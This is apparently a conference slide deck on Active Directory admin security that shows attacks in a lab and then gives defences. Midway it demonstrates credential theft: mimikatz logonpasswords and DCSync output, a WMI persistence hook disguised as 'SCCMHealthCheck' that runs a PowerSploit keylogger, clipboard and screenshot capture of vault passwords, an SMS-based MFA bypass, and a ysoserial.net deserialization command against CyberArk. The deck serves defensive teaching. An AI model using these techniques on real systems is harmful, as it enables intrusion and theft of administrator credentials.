From Workstation to Domain Admin:
Why Secure Administration Isn't Secure and How to Fix It

Sean Metcalf
CTO, Trimarc
• Founder Trimarc (Trimarc.io), a professional services company that helps organizations better secure their Microsoft platform, including Active Directory & the Microsoft Cloud.

• Microsoft Certified Master (MCM) Directory Services

• Speaker: Black Hat, Blue Hat, BSides, DEF CON, DerbyCon, Shakacon, Sp4rkCon

• Security Consultant / Researcher

• Own & Operate ADSecurity.org (Microsoft platform security info)
AGENDA

• Current State
• Evolution of Administration
• Exploiting Typical Administration
• Common Methods of Protecting Admins (& bypassing them)
  • MFA
  • Enterprise Password Vaults
  • Admin Forest
• Building the Best Defenses

Note: Some company products are mentioned in this presentation and deployment concerns are noted – these are not new vulnerabilities.
Many organizations have upgraded security
• Deployed EDR security tooling with distributed EDR agents
• Event logging agents
• Flow security events to a SIEM
• Vulnerability scanning
• Security software agents

*Most have not changed how Active Directory is managed.*

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
In the beginning...

There was a workstation

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Then we added Desktop Support
Then we deployed agents for Patching

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Then we switched to a Management system for software deployment/updates & patching

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
1 workstation
   30 accounts in the local Administrators group.
   50 accounts with local admin via the software management system.
   20 accounts with control of the computer via security agent(s).

=====

~ 100 accounts with effective admin rights on the workstation

Who has control of your workstation?

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Evolution of Administration

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
In the beginning, there were admins everywhere.
Sometimes, user accounts were Domain Admins.
Every local Administrator account has the same name & password.
Some environments had almost as many Domain Admins as users.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
This resulted in a target rich environment with multiple paths to exploit.

*Traditional methods of administration are trivial to attack and compromise due to admin credentials being available on the workstation.*

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Where We Were:
“Old School Admin Methods”

• Logon to workstation as an admin
  • Credentials in LSASS.

• RunAs on workstation and run standard Microsoft
  MMC admin tools ("Active Directory Users &
  Computers“)
  • Credentials in LSASS.

• RDP to Domain Controllers or Admin Servers to
  manage them
  • Credentials in LSASS on remote server.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Where We Were:
"Old School Admin Methods"

<table>
<thead>
<tr>
<th>Command</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>sekurlsa::logonpasswords</td>
<td>Authentication Id : 0 ; 5088494 (00000000:004da4ee)</td>
</tr>
<tr>
<td></td>
<td>Session : Interactive from 2</td>
</tr>
<tr>
<td></td>
<td>User Name : hansolo</td>
</tr>
<tr>
<td></td>
<td>Domain : ADSECLAB</td>
</tr>
<tr>
<td></td>
<td>SID : S-1-5-21-1473643419-774954089-222329127-1107</td>
</tr>
<tr>
<td>msv</td>
<td>Primary :</td>
</tr>
<tr>
<td></td>
<td>* Username : HanSolo</td>
</tr>
<tr>
<td></td>
<td>* Domain : ADSECLAB</td>
</tr>
<tr>
<td></td>
<td>* LM : 6ce8de51bc4919e01987a75d0bbd375a</td>
</tr>
<tr>
<td></td>
<td>* NTLM : 269c0c63a623b2e062df8b61c9b82818</td>
</tr>
<tr>
<td></td>
<td>* SHA1 : 660dd1fe6bb94f321fbbd58bfc19a41b9228b2bb</td>
</tr>
<tr>
<td>tspkg</td>
<td>* Username : HanSolo</td>
</tr>
<tr>
<td></td>
<td>* Domain : ADSECLAB</td>
</tr>
<tr>
<td></td>
<td>* Password : Falcon99!</td>
</tr>
<tr>
<td>wdigest</td>
<td>* Username : HanSolo</td>
</tr>
<tr>
<td></td>
<td>* Domain : ADSECLAB</td>
</tr>
<tr>
<td></td>
<td>* Password : Falcon99!</td>
</tr>
<tr>
<td>kerberos</td>
<td>* Username : HanSolo</td>
</tr>
<tr>
<td></td>
<td>* Domain : LAB.ADSECURITY.ORG</td>
</tr>
<tr>
<td></td>
<td>* Password : Falcon99!</td>
</tr>
<tr>
<td>ssp</td>
<td>* Username :</td>
</tr>
<tr>
<td>credman</td>
<td>* Domain :</td>
</tr>
</tbody>
</table>

Sean Metcalf (@Pyrotek3 | sean@TrimarcSecurity.com)
Where Are We Now: Newer “Secure” Admin Methods

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Where Are We Now: Newer “Secure” Admin Methods

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Where Are We Now:
Newer "Secure" Admin Methods

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Exploiting Typical Administration

Command Prompt

Microsoft Windows [Version 10.0.16299.547]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\sean>whoami
trimarcresearch\sean

C:\Users\sean>mstsc.exe

C:\Users\sean>

Remote Desktop Connection

Computer: trdcdc11.lab.trimarcresearch.com
User name: trimarlab\darthvader
You will be asked for credentials when you connect.

Show Options Connect Help

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Exploiting Typical Administration

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Exploiting Typical Administration

```powershell
$processName = 'mstsc.exe'
$consumer = $result.Path
$relativePath = '\\.oot\subscription:\__EventFilter\'.CreateInstance()
$consumer = $result.Path
# Establish binding between WMI event filter and consumer
```

```
c:\temp\scripts\SCCMHealthCheck.ps1
```

```
RelativePath : __FilterToConsumerBinding.Consumer="\\\.oot\subscription:CommandLineEventConsumer.Name="SCCM HealthCheck",Filter="\\\.oot\subscription:\__EventFilter.Name="Monitor RDP"
Server : 
NamespacePath : root\subscription
ClassName : __FilterToConsumerBinding
IsClass : False
IsInstance : True
IsSingleton : False
```
Exploiting Typical Administration

```
PS C:\Windows\system32> # Create WMI Event Filter

S CCMHealthCheck.ps1

1: function Get-Keystrokes { ...

3: .SYNOPSIS
4: Logs keys pressed, time and the active window.
5: ...

POWERSPLOIT Function: Get-Keystrokes
Original Authors: Chris Campbell (@ObscureSec) and Matthew Graeber (@mattifestation)
Revised By: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.PARAMETER LogPath
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.

.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.

.PARAMETER PassThru
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.

.LINK
http://www.obscurasec.com/
http://www.exploit-monday.com/
https://github.com/secabstraction

#> [CmdletBinding()]
```
Exploiting Typical Administration

Sean Metcalf [Pyrotek3 | sean@TrimarcSecurity.com]
Exploiting Typical Administration
Exploiting Typical Administration

TypedKey
WindowTitle
Time
Remote Desktop Connection, 8/1/2018 2:08:19 AM

trdccl1.lab.trimarcresearch.com<Enter>
trimarclab\darthvader
<Tab>
<Shift>Skywalker2018<Shift>!
Exploiting Typical Administration

From AD Admin Credential to DCSync

```
mimikatz(commandline) # lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator
[DC] 'rd.adsecurity.org' will be the domain
[DC] 'RDLABDC01.rd.adsecurity.org' will be the DC server
[DC] 'Administrator' will be the user account

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 9/7/2015 9:54:33 PM
Object Security ID : S-1-5-21-2578996962-4185879466-3696909401-500
Object Relative ID : 500

Credentials:
    Hash NTLM: 96ae239ae1f8f186a205b6863a3c955f
    ntlm- 0: 96ae239ae1f8f186a205b6863a3c955f
    ntlm- 1: 5164b7a0fda365d56739954bbbc23835
    ntlm- 2: 7c08d63a2f48f045971bc2236ed3f3ac
    lm - 0: 6cfd3c1b3c30b3fe5d716fef10f46e49
    lm - 1: d1726cc03fb143869304c6d3f30f6b8d
```
What About MFA?

Let’s MFA that RDP

YOU MFA THE RDP

SO WHEN YOU RDP IT’S MFA’D?

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Multi-Factor Authentication

Remote Desktop Connection

Computer: trdcdc11.lab.trimarc
User name: trimarclab\darthvader
You will be asked for credentials when you connect.

Powered by Duo Security

Choose an authentication method

- Duo Push
- Call Me
- Passcode

Send Me a Push
Call Me
Enter a Passcode

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Fun with MFA

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Fun with MFA

Login Request
Protected by Duo Security

Trimarc
[Trimarc Research] ADFS

Sean
172.271.271.172
Las Vegas, NV, US
10:57:47 AM EDT
July 24, 2018

Approvers

Approve
Deny

Approve
Deny

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Fun with MFA

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Subverting MFA

What if an attacker could bypass MFA without anyone noticing?

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
ACME has enabled users to update several attributes through a self-service portal.

- These attributes include:
  - Work phone number
  - Work address
  - Mobile number
  - Org-specific attributes
ACME has enabled users to update several attributes through a self-service portal.

- These attributes include:
  - Work phone number
  - Work address
  - Mobile number
  - Org-specific attributes
ACME has enabled users to update several attributes through a self-service portal.

• These attributes include:
  • Work phone number
  • Work address
  • Mobile number
  • Org-specific attributes
Subverting MFA

Choose an authentication method

- Duo Push **RECOMMENDED**
  - Send me a Push
- Call Me
  - Call Me
- Passcode
  - Enter a Passcode

What is this? ✅
Need help?

Powered by Duo Security

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Subverting MFA

Choose an authentication method

- Duo Push RECOMMENDED
  - Send me a Push
- Call Me
  - Call Me
- Passcode
  - Enter a Passcode

What is this? 
Need help?

Powered by Duo Security

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Subverting MFA

Extra verification increases your account security when signing into Okta.

- **Text Message Code**
  - Setup

- **Voice Call**
  - Reset

- **Security Question**
  - Setup

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Summary

- Company uses self-service to enable users to update basic user information attributes.

- Attacker compromises user account/workstation and performs self-service update of Mobile/Cell Phone Number to one the attacker controls.

- Attacker compromises admin user name & password

- Attacker leverages “backdoor” SMS/text message for MFA to use admin credentials.

- Game over.
Subverting MFA

https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
MFA Recommendations

• Don’t rely on MFA as the primary method to protect admin accounts.
• Use hardware tokens or App & disable SMS (when possible).
• Ensure all MFA users know to report anomalies.
• Research “Fail Closed” configuration on critical systems like password vaults and admin servers.
• Remember that once an attacker has AD Admin credentials, MFA doesn’t really stop them.
• Identify potential bypass methods & implement mitigation/detection.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
So, does MFA have value?

YES. Please MFA all the things!

(just don’t count on MFA to be a silver bullet for security)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
There’s Something About Password Vaults

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• Being deployed more broadly to improve administrative security.
• Typically CyberArk or Thycotic SecretServer.
• “Reconciliation” DA account to bring accounts back into compliance/control.
• Password vault maintains AD admin accounts.
• Additional components to augment security like a “Session Manager”.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Password Vault Option #1: Check Out Credential

• Connect to Password Vault & Check Out Password (Copy).
• Paste Password into RDP Logon Window
function Get-ClipboardContents {
    # SYNOPSIS
    Monitors the clipboard on a specified interval for changes to copied text.
    PowerSploit Function: Get-ClipboardContents
    Author: @harmj0y
    License: BSD 3-Clause
    Required Dependencies: None

    $PrevLength = $CB.Text.Length
    
    } else{
        $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
        "n=== Get-ClipboardContents Shutting down at $TimeStamp ===\n        Break;
    } Start-Sleep -s $PollInterval

Get-ClipboardContents | out-file c:\_2.-tmp
Attacking Enterprise Password Vault

Local Disk (C:)

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Date modified</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Packages</td>
<td></td>
<td>7/6/2018 10:14 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>PerfLogs</td>
<td></td>
<td>6/19/2018 8:25 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Program Files</td>
<td></td>
<td>7/31/2018 7:35 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Program Files (x86)</td>
<td></td>
<td>9/29/2017 2:41 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>ProgramData</td>
<td></td>
<td>7/8/2018 8:53 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>Temp</td>
<td></td>
<td>8/1/2018 2:10 AM</td>
<td>File folder</td>
</tr>
<tr>
<td>Users</td>
<td></td>
<td>8/1/2018 1:24 AM</td>
<td>File folder</td>
</tr>
<tr>
<td>Windows</td>
<td></td>
<td>7/10/2018 7:08 AM</td>
<td>File folder</td>
</tr>
<tr>
<td>WindowsAzure</td>
<td></td>
<td>7/31/2018 7:36 PM</td>
<td>File folder</td>
</tr>
<tr>
<td>_1.~tmp</td>
<td>6 KB</td>
<td>8/1/2018 2:46 AM</td>
<td>~TMP File</td>
</tr>
<tr>
<td>_2.~tmp</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Get-ClipboardContents Starting at 02/08/2018:04:13:36:85

Skywalker2018!

OneWithTheForce2018!

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Attacking Enterprise Password Vault

Local Disk (C:)

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Date modified</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Packages</td>
<td>7/6/2018 10:14 PM</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>PerfLogs</td>
<td>6/19/2018 8:25 PM</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Program Files</td>
<td>7/31/2018 7:35 PM</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>Program Files (x86)</td>
<td>9/29/2017 2:41 PM</td>
<td>File folder</td>
<td></td>
</tr>
<tr>
<td>ProgramData</td>
<td>7/8/2018 8:53 PM</td>
<td>File folder</td>
<td></td>
</tr>
</tbody>
</table>

2~tmp - Notepad

Get-ClipboardContents Starting at 02/08/2018:04:13:36:85

02/08/2018:04:13:51:86
Skywalker2018!

02/08/2018:04:14:06:88
OneWithTheForce2018!
function Get-TimedScreenshot
{
SYNOPSIS
Takes screenshots at a regular interval and saves them to disk.
PowerSploit Function: Get-TimedScreenshot
Author: Chris Campbell (@obscursec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

DESCRIPTION
A function that takes screenshots and saves them to a folder.

PARAMETER Path
Specifies the folder path.

PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
Attacking Enterprise Password Vault

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Password Vault Option #2: RDP Proxy

- Password vault as the "jump" system to perform administration with no knowledge of account password.
Password Vault Option #2: RDP Proxy

• Password vault as the "jump" system to perform administration with no knowledge of account password.
Compromise the Browser on the Workstation to compromise vault access
```powershell
PS C:\> get-netgroup 'CyberArk Admins' | Get-NetGroupMember

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>WCrusher</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-3606</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Wesley Crusher,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>JoeUser</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-1604</td>
</tr>
<tr>
<td>IsGroup</td>
<td>False</td>
</tr>
<tr>
<td>MemberDN</td>
<td>CN=Joe User,OU=Users,OU=Accounts,DC=trimarcresearch,DC=com</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>GroupDomain</th>
<th>trimarcresearch.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>GroupName</td>
<td>CyberArk Admins</td>
</tr>
<tr>
<td>MemberDomain</td>
<td>trimarcresearch.com</td>
</tr>
<tr>
<td>MemberName</td>
<td>Eddie</td>
</tr>
<tr>
<td>MemberSID</td>
<td>S-1-5-21-3059099413-3826416028-81522354-1601</td>
</tr>
</tbody>
</table>
```

---

Sean Metcalf (@Pyrotek3 | sean@TrimarcSecurity.com)
Password Vaults on the Internet

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Password Vaults on the Internet

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Password Vault Config Weaknesses

- Authentication to the PV webserver is typically performed with the admin’s user account.
- Connection to the PV webserver doesn’t always require MFA.
- The PV servers are often administered like any other server.
- Anyone on the network can send traffic to the PV server (usually).
- Sessions aren’t always limited creating an opportunity for an attacker to create a new session.
- Vulnerability in PV can result in total Active Directory compromise.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
CyberArk RCE Vulnerability (April 2018)


- Access to this API requires an authentication token in the HTTP authorization header which can be generated by calling the “Logon” API method.

- Token is a base64 encoded serialized .NET object ("CyberArk.Services.Web.SessionIdentifiers“) and consists of 4 string user session attributes.

- The integrity of the serialized data is not protected, so it’s possible to send arbitrary .NET objects to the API in the authorization header.

- By leveraging certain gadgets, such as the ones provided by ysoserial.net, attackers may execute arbitrary code in the context of the web application.

Proof of Concept

First, a malicious serialized .NET object is created. Here the "TypeConfuseDelegate" gadget of yoserial.net is used to execute the "ping" command:

```
$ yoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "ping 10.0.0.19" > execute-ping.txt
$ cat execute-ping.txt
```

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
What about Admin Forest?

(aka Red Forest)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Admin Forest = Enhanced Security Administrative Environment (ESAE)
Admin Forest Key Components

• New AD Forest with high security configuration.
• ESAE forest is isolated from the production network with strong network controls (firewalled encrypted communication).
• Production AD Forest has a 1-way trust with the Admin Forest.
• Production AD admin groups are empty, except group for ESAE admin groups.
• Admin groups/accounts in ESAE can’t admin ESAE.
• All systems run the latest workstation & server OS version.
• Auto-patching by ESAE management/patching system.
• Production AD admin accounts in ESAE should not retain full-time Production AD admin group membership and require MFA for authentication.
• ESAE should be carefully monitored for anomalous activity.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Admin Forest Pros & Cons

Pros

• Effectively isolates Domain Admins and other Active Directory Admins.
• When deployed properly, the Red Forest can be effective in limiting attacker AD privileged access.

Cons

• Expensive to deploy.
• Greatly increases management overhead & cost.
• Duplicate infrastructure.
• Doesn’t fix production AD issues.
• Doesn’t resolve expansive rights over workstations & servers.

What about Production AD privileged Service Accounts?

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• Assume Breach
• Before deploying, check the environment
• Start clean, stay clean
• If the production AD environment is compromised, what does ESAE buy you?
• What should be done first?
Admin Forest Discovery

### trimarcresearch.com Properties

<table>
<thead>
<tr>
<th>General</th>
<th>Trusts</th>
<th>Managed By</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Domains trusted by this domain (outgoing trusts):**

- **Domain Name**: lab.trimarcresearch.com
  - **Trust Type**: Child
  - **Transitive**: Yes
  - **Properties...**
  - **Remove**

- **Domain Name**: trd.priv
  - **Trust Type**: Forest
  - **Transitive**: Yes
  - **Properties...**
  - **Remove**

**Domains that trust this domain (incoming trusts):**

<table>
<thead>
<tr>
<th>Domain Name</th>
<th>Trust Type</th>
<th>Transitive</th>
</tr>
</thead>
<tbody>
<tr>
<td>lab.trimarcresearch.com</td>
<td>Child</td>
<td>Yes</td>
</tr>
</tbody>
</table>

### trd.priv Properties

<table>
<thead>
<tr>
<th>General</th>
<th>Name Suffix Routing</th>
<th>Authentication</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**This Domain:**

- **trimarcresearch.com**

**Other Domain:**

- **trd.priv**

**Trust type:**

- **Forest**

**Direction of trust:**

- **Outgoing**: Users in the specified domain can authenticate in the local domain, but users in the local domain cannot authenticate in the specified domain.

**Transitivity of trust:**

- This trust is forest transitive. Users from indirectly trusted domains within the enterprise may authenticate in the trusting enterprise.

To confirm or reset this trust relationship and update its routed name suffixes, click Validate.
## Admin Forest Discovery

### Administrators Properties

<table>
<thead>
<tr>
<th>Object</th>
<th>Security</th>
<th>Attribute Editor</th>
</tr>
</thead>
<tbody>
<tr>
<td>General</td>
<td>Members</td>
<td>Member Of</td>
</tr>
</tbody>
</table>

#### Members:

<table>
<thead>
<tr>
<th>Name</th>
<th>Active Directory Domain Services Folder</th>
</tr>
</thead>
<tbody>
<tr>
<td>Domain Admins</td>
<td>trimarcresearch.com/Users</td>
</tr>
<tr>
<td>Enterprise Admins</td>
<td>trimarcresearch.com/Users</td>
</tr>
<tr>
<td><strong>TRD AD Admins</strong></td>
<td><strong>TRDPRIV</strong></td>
</tr>
<tr>
<td>trimarcadmin</td>
<td>trimarcresearch.com/Users</td>
</tr>
</tbody>
</table>
How effective is the Admin Forest?

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Deployments often ignore the primary production AD since all administrators of the AD forest are moved into the Admin Forest.

They often don't fix all the issues in the production AD.

They often ignore service accounts.

Agents on Domain Controllers are a target – who has admin access?

Identify systems that connect to DCs with privileged credentials on DCs (backup accounts).

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Cross-Forest Administration

Forest A

Trust

Forest B

Forest A Domain Admin Account

Result:
Full Compromise of the Production Active Directory

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Cross-Forest Administration

• Production (Forest A) <--one-way--trust---- External (Forest B)
• Production forest AD admins manage the External forest.
• External forest administration is done via RDP.
• Production forest admin creds end up on systems in the External forest.
• Attacker compromises External to compromise Production AD.

Mitigation:
• Manage External forest with External admin accounts.
• Use non-privileged Production forest accounts with External admin rights.
Building the Best Defenses

Securing Active Directory Administration

Photo by DAVID ILIFF. License: CC-BY-SA 3.0

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
AD Defensive Pillars

1. Administrative Credential Isolation & Protection
2. Hardening Administrative Methods
3. Reducing & Limiting Service Account Rights
4. Effective Monitoring

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• Focus on protecting admin credentials.
• Separate AD admin account from user account.
• Separate AD admin account from other admin accounts.
• Use distinct naming - examples:
  • ADA – AD Admins
  • SA – Server Admins
  • WA – Workstation Admins
• Ensure AD admin accounts only logon to secured systems
  • AD Admin Workstations
  • AD Admin Servers
  • Domain Controllers
Why Admin Workstations?

- The battle has moved from the perimeter to workstations on the network.
- Management of regular workstations provides a common escalation path.
- Credentials found on workstations are often used to elevate privileges.
- Builds on the concept of separate accounts for user activities and administrative tasks.

*Keep in mind that any agent that can install/run code typically has Admin/System rights to the computer.*

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Hardening Administrative Methods

• AD Administration Systems:
  • Isolate and protect privileged credentials.
  • Provide a secure environment for admins to perform required privileged tasks.
  • Disrupt the common attack playbook.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• System Configuration:
  • Only admin accounts can logon (though with no admin rights)
  • Separate administration
  • Separate management/patching from other systems
  • Auto-patching
  • Firewalled from the network, only allowing specific admin comms
  • Restrict access to management protocols (RDP, WMI, WinRM, etc)
  • Enforce Network Level Authentication (NLA) for all RDP connections.

• Leverage MFA where possible for additional administration security (typically used for RDP to Admin Server).

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Microsoft Tier Model:
• Difficult and costly to implement.
• Duplicates infrastructure & admin accounts.
• Rarely fully implemented.
• Focus on Tier 0 (Domain Controllers and AD Admins first).

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Microsoft Tier Model: What is Tier 0?

- Domain Controllers
- Privileged AD Accounts & Systems
  - AD Admins
  - Service accounts
  - AD Admin workstations & server
- ADFS & Federation Servers
- Azure AD Connect Servers (when synchronizing password hash data)
- PKI infrastructure
- Password vault systems that contain/control AD admin credentials
- Tier 0 management systems

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Admin Systems: Convincing Admins

- Admins that are typically mobile and use a laptop will likely require a 2nd laptop.
- Admins are less than excited when told they have to use separate systems for administration.
- The people most impacted are the ones who have to implement.
- Use this opportunity to refresh admin hardware
- There are several options for small, lightweight laptop and supports all Windows 10 security features (Microsoft Surface devices)
- Explain that admin workstations are now a requirement to protect computer systems (& creds on the system).
- Isolating & protecting admin credentials is critical or AD will be owned.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
• Isolating & protecting admin credentials is critical.
• Admin systems and new security controls like MFA are now required.
• These systems and controls will slow resolution of issues, but will also slow/stop attackers.
• The cost of extra hardware and additional operations time is much cheaper than recovering from a breach (IR = $$$).
• Start slow and build up with gradual changes.
• Collaboration & Partnering of All Teams Involved is Important.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
A Workable Admin System

• Separate physical devices are best, but not always feasible.
• Goal is to isolate admin credentials.
• Start with an admin workstation that leverages virtualization for a good blend of security and operational ability.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
A Workable Admin System

• Host OS is the “admin environment”
• “User environment” is a VM on the system – no admin accounts or activities occur in this environment.
• Admin user only uses their user account to logon to the user VM.
• Admin user uses a “transition” account to logon to the host OS. This account has no admin rights and is the only one that logon to the host OS.
• Once on the Admin system, an AD admin account is used to RDP to Admin Server.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
A Workable Admin System

User Environment VM

“Regular User Account”

“Transition Account”

AD Admin Account

Admin Workstation

RDP

Admin Server

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
A Workable Admin System

User Environment VM

“Regular User Account”

“Transition Account”

Admin Workstation

HTTPS

MFA

Password Vault

RDP

Admin Server

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Admin Workstation Deployment

- Phase 1: Active Directory Admins
- Phase 2: Virtual Infrastructure Admins
- Phase 3: Cloud Admins
- Phase 4: Server Admins
- Phase 5: Workstation Admins

Note that these phases may be performed at the same time as others.

PKI & Mainframe Admins need Admin Workstations too!

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The new standard for AD Admins

• Only ever logon to:
  • Domain Controllers
  • AD Admin workstation
  • AD Admin servers

• AD Admin accounts are always separate from other administration.

• AD Admins are prevented from logging on to lower tier systems.

• No Service Accounts with AD Admin rights.

• Ensure all local Administrator accounts have unique passwords.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Reducing & Limiting Service Account Rights

- Service Accounts are almost always over-privileged
  - Vendor requirements
- Too often are members of AD admin groups
  - Domain Admins
  - Administrators
  - Backup Operators
  - Server Operators
- Rarely does a service account actually require Domain Admin level rights.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Product Permission Requirements

- Domain user access
- Operations systems access
- Mistaken identity – trust the installer
- AD object rights
- Install permissions on systems
- Needs System rights

- Active Directory privileged rights
- Domain permissions during install
- More access required than often needed.
- Initial start/run permissions
- Needs full AD rights

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Product Permission Requirements

- **Domain user access**
- **Operations systems access**
- **Mistaken identity – trust the installer**
- **AD object rights**
- **Install permissions on systems**
- **Needs System rights**

- **Active Directory privileged rights**
- **Domain permissions during install**
- **More access required than often needed.**
- **Initial start/run permissions**
- **Needs full AD rights**

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Common Service Accounts in Domain Admins

• Vulnerability Scanning Tool
  • Split scanning into different scan “buckets”
  • Workstations with a VulnScan-wrk service account
  • Servers with a VulnScan-srv service account
  • Domain Controllers with a VulnScan-DC service account.

• Backup
  • Move to the Backup Operators group which should provide the required rights.

• VPN
  • Delegate the appropriate rights (often only requires the ability to reset account passwords)

• SQL
  • There is never a good reason for a SQL service account to have privileged AD rights. Remove the account(s) from AD admin groups.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Conclusion

• Traditional AD Administration must evolve with the threats to effectively protect Active Directory.

• Most organizations have done "something" to better secure their environment, thought it’s often not enough.

• **Priority #1:** Remove accounts & service accounts from AD privileged groups.

• **Priority #2:** Protect & Isolate AD Admin credentials by ensuring the credentials are limited to specific systems.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Like my talk?
Please Submit an Evaluation

Sean Metcalf (@Pyrotek3)
s e a n [@] TrimarcSecurity.com
